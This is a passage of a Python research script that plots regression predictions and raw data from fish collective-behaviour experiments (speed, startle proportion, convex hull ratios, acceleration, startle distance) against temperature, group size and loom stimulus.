plt.yticks(ticks = [580,585,590,595], labels = [580,585,590,595],fontsize = fs)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/latency_wo_data.png'
fig.savefig(out_dir, dpi = 100)
plt.show()
#model_glm <- glm(hull ~ gs + temp*loom + I(temp^2) + date, my_data, family = "Gamma")
if args.a_string=='hull_ratio_600_650_predictions.csv':
data2 = pd.read_csv('../../data/temp_collective/roi/convex_hull_ratio_600_650w_loom.csv')
data_hull = data2.convex_hull_area_600_650
gs = [16]
loom = [1,5]
colors = plt.cm.bone_r(np.linspace(0,1,len(loom)+2))
if args.verbose==True:
for i in gs:
for j in loom:
ax.scatter(data2.Temperature[data2.Groupsize == i][data2.Loom == j],
data_hull[data2.Groupsize == i][data2.Loom == j], s = 10, alpha = 0.5,
color = colors[count])
ax.plot(
data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106],
(data1.hull[data1.gs==i][data1.loom == j][data1.date == 18106]),
color = colors[count], label = str(j), lw = lw)
ax.fill_between(
data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106],
(data1.hull025[data1.gs==i][data1.loom == j][data1.date == 18106]),
(data1.hull975[data1.gs==i][data1.loom == j][data1.date == 18106]), alpha = 0.3,
color = colors[count], lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Ratio of convex hull area during loom to \n convex hull area after loom', size = fs)
ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29])
out_dir = '../../output/temp_collective/roi_figures/predictions/convex_hull_ratio_w_data_loom_gs16.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
else:
for i in gs:
for j in loom:
ax.plot(
data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106],
(data1.hull[data1.gs==i][data1.loom == j][data1.date == 18106]),
color = colors[count], label = str(j), lw = lw)
ax.fill_between(
data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106],
(data1.hull025[data1.gs==i][data1.loom == j][data1.date == 18106]),
(data1.hull975[data1.gs==i][data1.loom == j][data1.date == 18106]), alpha = 0.3,
color = colors[count], lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Ratio of convex hull area during loom to \n convex hull before after loom', size = fs)
ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29])
out_dir = '../../output/temp_collective/roi_figures/predictions/convex_hull_ratio_wo_data_loom_gs16.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
#hull ratio - during/before
#model_lm <- lm(log(hull)~ log(gs,2) + I(temp^2) + loom + date, my_data)
if args.a_string=='hull_ratio_600_650_predictions2.csv':
data2 = pd.read_csv('../../data/temp_collective/roi/convex_hull_ratio_600_650w_loom.csv')
data_hull = data2.convex_hull_area_ratio_loom
gs = [4,8,16]
loom = [1]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
count = 1
if args.verbose==True:
for i in gs:
for j in loom:
ax.scatter(data2.Temperature[data2.Groupsize == i][data2.Loom == j],
data_hull[data2.Groupsize == i][data2.Loom == j], s = 10, alpha = 0.5,
color = colors[count])
ax.plot(
data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106],
np.exp(data1.hull[data1.gs==i][data1.loom == j][data1.date == 18106]),
color = colors[count], label = str(i), lw = lw)
ax.fill_between(
data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106],
np.exp(data1.hull025[data1.gs==i][data1.loom == j][data1.date == 18106]),
np.exp(data1.hull975[data1.gs==i][data1.loom == j][data1.date == 18106]), alpha = 0.3,
color = colors[count], lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Ratio of convex hull area during loom to \n convex hull before loom', size = fs)
ax.set_title('Loom = '+str(loom[0]), fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29])
out_dir = '../../output/temp_collective/roi_figures/predictions/convex_hull_ratio_loom_w_data_loom1_gs_all.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
else:
gs = [16]
loom = [1]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
count = 1
for i in gs:
for j in loom:
ax.plot(
data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106],
np.exp(data1.hull[data1.gs==i][data1.loom == j][data1.date == 18106]),
color = colors[count], label = str(j), lw = lw)
ax.fill_between(
data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106],
np.exp(data1.hull025[data1.gs==i][data1.loom == j][data1.date == 18106]),
np.exp(data1.hull975[data1.gs==i][data1.loom == j][data1.date == 18106]), alpha = 0.3,
color = colors[count], lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Ratio of convex hull area during loom to \n convex hull area after loom', size = fs)
ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29])
out_dir = '../../output/temp_collective/roi_figures/predictions/convex_hull_ratio_loom_wo_data_loom1_gs16.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
#model_lm <- lm(log(speed+1) ~ temp,my_data)
if args.a_string=='speed99_before_loom_predictions.csv':
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv')
data_hull = data2.speed_percentile99
colors = plt.cm.bone_r(np.linspace(0,1,3))
if args.verbose==True:
ax.scatter(data2.Temperature,
data_hull, s = 10, alpha = 0.5,
color = colors[count])
ax.plot(
data1.temp,
np.exp(data1.speed99)-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp,
np.exp(data1.speed99_025)-1,
np.exp(data1.speed99_975)-1, alpha = 0.3,
color = colors[count], lw = 0)
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'99th percentile of speed \n before loom (BL/s)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/speed_percentile99_w_data.png'
fig.savefig(out_dir, dpi = dpi)
plt.show()
else:
ax.plot(
data1.temp,
np.exp(data1.speed99)-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp,
np.exp(data1.speed99_025)-1,
np.exp(data1.speed99_975)-1, alpha = 0.3,
color = colors[count], lw = 0)
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'99th percentile of speed \n before loom (BL/s)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/speed_percentile99_wo_data.png'
fig.savefig(out_dir, dpi = dpi)
plt.show()
"""
#model_lm <- lm(log(speed+1) ~ temp + temp^2,my_data)
if args.a_string=='speed99_before_loom_predictions_new.csv':
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv')
data_hull = data2.speed_percentile99
colors = plt.cm.bone_r(np.linspace(0,1,3))
if args.verbose==True:
ax.scatter(data2.Temperature,
data_hull, s = 10, alpha = 0.5,
color = colors[count])
ax.plot(
data1.temp,
np.exp(data1.speed99)-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp,
np.exp(data1.speed99_025)-1,
np.exp(data1.speed99_975)-1, alpha = 0.3,
color = colors[count], lw = 0)
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'99th percentile of speed (BL/s)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/speed_percentile99_new_w_data.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
else:
ax.plot(
data1.temp,
np.exp(data1.speed99)-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp,
np.exp(data1.speed99_025)-1,
np.exp(data1.speed99_975)-1, alpha = 0.3,
color = colors[count], lw = 0)
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'99th percentile of speed (BL/s)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/speed_percentile99_new_wo_data.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
"""
#median speed during unperturbed swimming
#model_lm <- lm(log(speed+1) ~ temp ,my_data)
if args.a_string=='speed50_before_loom_predictions_new.csv':
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv')
data_hull = data2.speed_percentile50
colors = plt.cm.bone_r(np.linspace(0,1,3))
if args.verbose==True:
ax.scatter(data2.Temperature,
data_hull, s = 10, alpha = 0.5,
color = colors[count])
ax.plot(
data1.temp,
np.exp(data1.speed99)-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp,
np.exp(data1.speed99_025)-1,
np.exp(data1.speed99_975)-1, alpha = 0.3,
color = colors[count], lw = 0)
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Median speed (BL/s)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/speed_percentile50_new_w_data.png'
fig.savefig(out_dir, dpi = dpi)
plt.show()
else:
ax.plot(
data1.temp,
np.exp(data1.speed99)-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp,
np.exp(data1.speed99_025)-1,
np.exp(data1.speed99_975)-1, alpha = 0.3,
color = colors[count], lw = 0)
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Median speed (BL/s)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/speed_percentile50_new_wo_data.png'
fig.savefig(out_dir, dpi = dpi)
plt.show()
#average speed during unperturbed swimming
#model_lm <- lm(log(speed+1) ~ temp ,my_data)
if args.a_string=='speed_avg_before_loom_predictions_new.csv':
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv')
data_hull = data2.avg_speed
colors = plt.cm.bone_r(np.linspace(0,1,3))
if args.verbose==True:
ax.scatter(data2.Temperature,
data_hull, s = 10, alpha = 0.5,
color = colors[count])
ax.plot(
data1.temp,
np.exp(data1.speed99)-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp,
np.exp(data1.speed99_025)-1,
np.exp(data1.speed99_975)-1, alpha = 0.3,
color = colors[count], lw = 0)
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Mean speed (BL/s)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/speed_avg_new_w_data.png'
fig.savefig(out_dir, dpi = dpi)
plt.show()
else:
ax.plot(
data1.temp,
np.exp(data1.speed99)-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp,
np.exp(data1.speed99_025)-1,
np.exp(data1.speed99_975)-1, alpha = 0.3,
color = colors[count], lw = 0)
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Mean speed (BL/s)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/speed_avg_new_wo_data.png'
fig.savefig(out_dir, dpi = dpi)
plt.show()
## loom speed predictions
if args.a_string=='loom_speed_predictions.csv':
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_w_loom.csv')
data_hull = data2.speed_percentile99
if args.verbose==True:
gs = [1,2,4,8,16]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2))
for i in gs:
ax.scatter(data2.Temperature[data2.Groupsize == i][data2.Loom == 1],
data2.speed_percentile99[data2.Groupsize == i][data2.Loom == 1], alpha = 0.5, color = colors[count], s =10)
ax.plot(
data1.Temperature[data1.Groupsize == i][data1.loom == 1],
(data1.loom_speed[data1.Groupsize==i][data1.loom == 1])**2, color = colors[count], label = str(i), lw = lw)
ax.fill_between(
data1.Temperature[data1.Groupsize == i][data1.loom == 1],
(data1.loom_speed025[data1.Groupsize==i][data1.loom == 1])**2,
(data1.loom_speed975[data1.Groupsize==i][data1.loom == 1])**2, alpha = 0.3, color = colors[count], lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel('99th percentile of speed \n during loom (BL/s)', size = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
#ax.set_title('Loom = 1', fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/loom_speed_predictions_w_data_all.png'
fig.savefig(out_dir, dpi = 100)
plt.show()
else:
gs = [16]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2))
for i in gs:
ax.plot(
data1.Temperature[data1.Groupsize == i][data1.loom == 1],
(data1.loom_speed[data1.Groupsize==i][data1.loom == 1])**2, color = colors[count], lw = lw)
ax.fill_between(
data1.Temperature[data1.Groupsize == i][data1.loom == 1],
(data1.loom_speed025[data1.Groupsize==i][data1.loom == 1])**2,
(data1.loom_speed975[data1.Groupsize==i][data1.loom == 1])**2, alpha = 0.3, color = colors[count], lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'99th percentile of speed \n during loom (BL/s)', size = fs)
#ax.set_title('Groupsize = 16, Loom = 1', fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/loom_speed_predictions_wo_data.png'
fig.savefig(out_dir, dpi = 100)
plt.show()
## 99th percentile of loom speed predictions - 2 (after including t1)
# model_lm <- lm((speed)^0.5 ~ temp + I(temp^2) + log(gs,2) + loom + I(log(gs,2)^2) + t1,my_data)
# rsq 0.1872
if args.a_string=='99th_percentile_speed_during_loom_with_t1_predictions2.csv':
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_w_loom.csv')
data_hull = data2.speed_percentile99
if args.verbose==True:
gs = [1,2,4,8,16]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
count = 1
for i in gs:
ax.scatter(data2.Temperature[data2.Groupsize == i][data2.Loom == 1],
data2.speed_percentile99[data2.Groupsize == i][data2.Loom == 1], alpha = 0.5, color = colors[count], s =10)
ax.plot(
data1.temp[data1.gs == i][data1.loom == 1][data1.t1 == 1620244800],
(data1.speed99[data1.gs==i][data1.loom == 1][data1.t1 == 1620244800])**2, color = colors[count], label = str(i), lw = lw)
ax.fill_between(
data1.temp[data1.gs == i][data1.loom == 1][data1.t1 == 1620244800],
(data1.speed99_025[data1.gs==i][data1.loom == 1][data1.t1 == 1620244800])**2,
(data1.speed99_975[data1.gs==i][data1.loom == 1][data1.t1 == 1620244800])**2, alpha = 0.3, color = colors[count], lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel('99th percentile of speed \n during loom (BL/s)', size = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
ax.set_title('Loom = 1', fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/loom_speed_predictions2_w_data_all.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
else:
gs = [16]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
count = 1
for i in gs:
ax.plot(
data1.temp[data1.gs == i][data1.loom == 1][data1.t1 == 1620244800],
(data1.speed99[data1.gs==i][data1.loom == 1][data1.t1 == 1620244800])**2, color = colors[count], label = str(i), lw = lw)
ax.fill_between(
data1.temp[data1.gs == i][data1.loom == 1][data1.t1 == 1620244800],
(data1.speed99_025[data1.gs==i][data1.loom == 1][data1.t1 == 1620244800])**2,
(data1.speed99_975[data1.gs==i][data1.loom == 1][data1.t1 == 1620244800])**2, alpha = 0.3, color = colors[count], lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'99th percentile of speed \n during loom (BL/s)', size = fs)
ax.set_title('Groupsize = 16, Loom = 1', fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/loom_speed_predictions2_wo_data.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
#model_glm <- glm(prop_startles ~ temp + I(temp^2) + loom + t+date, family = binomial,my_data)
if args.a_string=='prop_startles_predictions.csv':
if args.verbose==True:
colors = plt.cm.bone_r(np.linspace(0,1,3))
ax.scatter(data2.Temperature,
data2.prop_startles, s = 10, alpha = 0.5,
color = colors[count])
ax.plot(
data1.temp[data1.loom == 1][data1.date == 18106][data1.t == 1200],
(data1.prop_startles[data1.loom == 1][data1.date == 18106][data1.t == 1200]),
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.loom == 1][data1.date == 18106][data1.t == 1200],
(data1.prop_startles025[data1.loom == 1][data1.date == 18106][data1.t == 1200]),
(data1.prop_startles975[data1.loom == 1][data1.date == 18106][data1.t == 1200]), alpha = 0.3,
color = colors[count], lw = 0)
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Proportion of individuals that startle', size = fs)
#ax.set_title('Loom = 1', fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/prop_startles_w_data_loom_1_all.png'
fig.savefig(out_dir, dpi = dpi)
plt.show()
else:
colors = plt.cm.bone_r(np.linspace(0,1,3))
ax.plot(
data1.temp[data1.loom == 1][data1.date == 18106][data1.t == 1200],
(data1.prop_startles[data1.loom == 1][data1.date == 18106][data1.t == 1200]),
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.loom == 1][data1.date == 18106][data1.t == 1200],
(data1.prop_startles025[data1.loom == 1][data1.date == 18106][data1.t == 1200]),
(data1.prop_startles975[data1.loom == 1][data1.date == 18106][data1.t == 1200]), alpha = 0.3,
color = colors[count], lw = 0)
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Proportion of individuals that startle', size = fs)
#ax.set_title('Loom = 1', fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
#plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29])
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/prop_startles_wo_data_loom_1_all.png'
fig.savefig(out_dir, dpi = dpi)
plt.show()
#model_glm <- glm(prop_startles ~ temp + I(temp^2) + loom +date, family = binomial,my_data)
if args.a_string=='prop_startles_predictions2.csv':
if args.verbose==True:
colors = plt.cm.bone_r(np.linspace(0,1,3))
ax.scatter(data2.Temperature,
data2.prop_startles, s = 10, alpha = 0.5,
color = colors[count])
ax.plot(
data1.temp[data1.loom == 1][data1.date == 18106],
(data1.prop_startles[data1.loom == 1][data1.date == 18106]),
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.loom == 1][data1.date == 18106],
(data1.prop_startles025[data1.loom == 1][data1.date == 18106]),
(data1.prop_startles975[data1.loom == 1][data1.date == 18106]), alpha = 0.3,
color = colors[count], lw = 0)
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Proportion of individuals that startle', size = fs)
#ax.set_title('Loom = 1', fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29],fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/prop_startles_w_data_loom_1_all_new.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
else:
colors = plt.cm.bone_r(np.linspace(0,1,3))
ax.plot(
data1.temp[data1.loom == 1][data1.date == 18106],
(data1.prop_startles[data1.loom == 1][data1.date == 18106]),
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.loom == 1][data1.date == 18106],
(data1.prop_startles025[data1.loom == 1][data1.date == 18106]),
(data1.prop_startles975[data1.loom == 1][data1.date == 18106]), alpha = 0.3,
color = colors[count], lw = 0)
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Proportion of individuals that startle', size = fs)
#ax.set_title('Loom = 1', fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29],fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/prop_startles_wo_data_loom_1_all_new.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
## loom acceleration
#model_lm <- lm(log(acc+1) ~ temp + I(temp^2)*log(gs,2)*loom + date + t,my_data)
if args.a_string=='loom_acc_99_predictions.csv':
if args.verbose==True:
gs = [1,2,4,8,16]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2))
for i in gs:
ax.scatter(data2.Temperature[data2.Groupsize==i],
data2.acc_percentile99[data2.Groupsize ==i], s = 10, alpha = 0.5,
color = colors[count])
ax.plot(
data1.temp[data1.loom == 1][data1.date == 18106][data1.t == 1200][data1.gs == i],
np.exp(data1.acc99[data1.loom == 1][data1.date == 18106][data1.t == 1200][data1.gs == i])-1,
color = colors[count], lw = lw, label = str(i))
ax.fill_between(
data1.temp[data1.loom == 1][data1.date == 18106][data1.t == 1200][data1.gs == i],
np.exp(data1.acc99_025[data1.loom == 1][data1.date == 18106][data1.t == 1200][data1.gs == i])-1,
np.exp(data1.acc99_975[data1.loom == 1][data1.date == 18106][data1.t == 1200][data1.gs == i])-1,
alpha = 0.3, color = colors[count], lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'99th percentile of acceleration \n during loom (BL/s'+r'$^2$)', size = fs)
#ax.set_title('Loom = 1', fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29],fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/acc_w_data_loom_1_all.png'
fig.savefig(out_dir, dpi = 100)
plt.show()
else:
gs = [16]
colors = plt.cm.bone_r(np.linspace(0,1,3))
for i in gs:
ax.plot(
data1.temp[data1.loom == 1][data1.date == 18106][data1.t == 1200][data1.gs == i],
np.exp(data1.acc99[data1.loom == 1][data1.date == 18106][data1.t == 1200][data1.gs == i])-1,
color = colors[count], lw = lw, label = str(i))
ax.fill_between(
data1.temp[data1.loom == 1][data1.date == 18106][data1.t == 1200][data1.gs == i],
np.exp(data1.acc99_025[data1.loom == 1][data1.date == 18106][data1.t == 1200][data1.gs == i])-1,
np.exp(data1.acc99_975[data1.loom == 1][data1.date == 18106][data1.t == 1200][data1.gs == i])-1,
alpha = 0.3, color = colors[count], lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'99th percentile of acceleration \n during loom (BL/s'+r'$^2$)', size = fs)
#ax.set_title('Groupsize = 16, Loom = 1', fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29],fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/acc_wo_data_loom_1.png'
fig.savefig(out_dir, dpi = 100)
plt.show()
#startle distance
#model_lm <-
#lm(log(distance) ~ temp + gs + temp*gs + loom + I(temp^2)*gs + loom*I(temp^2) + loom*gs + date, my_data)
if args.a_string=='startle_distance_predictions2.csv':
data1 = pd.read_csv('../../data/temp_collective/roi/'+args.a_string)
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_w_loom_startle.csv')
gs = [1,2,4,8,16]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2))
#Plotting
if args.verbose==True:
gs = [1,2,4,8,16]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
count = 1
for i in gs:
ax.scatter(data2.Temperature[data2.Groupsize == i][data2.Loom == 1],
data2.distance[data2.Groupsize == i][data2.Loom == 1]/60, s = 10, alpha = 0.5, color = colors[count])
ax.plot(
data1.temp[data1.gs== i][data1.loom == 1][data1.date == 18106],
np.exp(data1.distance[data1.gs==i][data1.loom == 1][data1.date == 18106])/60,
color = colors[count],
lw = lw)
ax.fill_between(
data1.temp[data1.gs== i][data1.loom == 1][data1.date == 18106],
np.exp(data1.distance_025[data1.gs==i][data1.loom == 1][data1.date == 18106])/60,
np.exp(data1.distance_975[data1.gs==i][data1.loom == 1][data1.date == 18106])/60,
label = str(i), alpha = 0.3, color = colors[count], lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel('Distance (BL)', size = fs)
ax.set_title('Loom = 1', fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/distance_w_data_loom1.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
else:
gs = [16]
loom = [1,5]
colors = plt.cm.bone_r(np.linspace(0,1,len(loom)+1))
count = 1
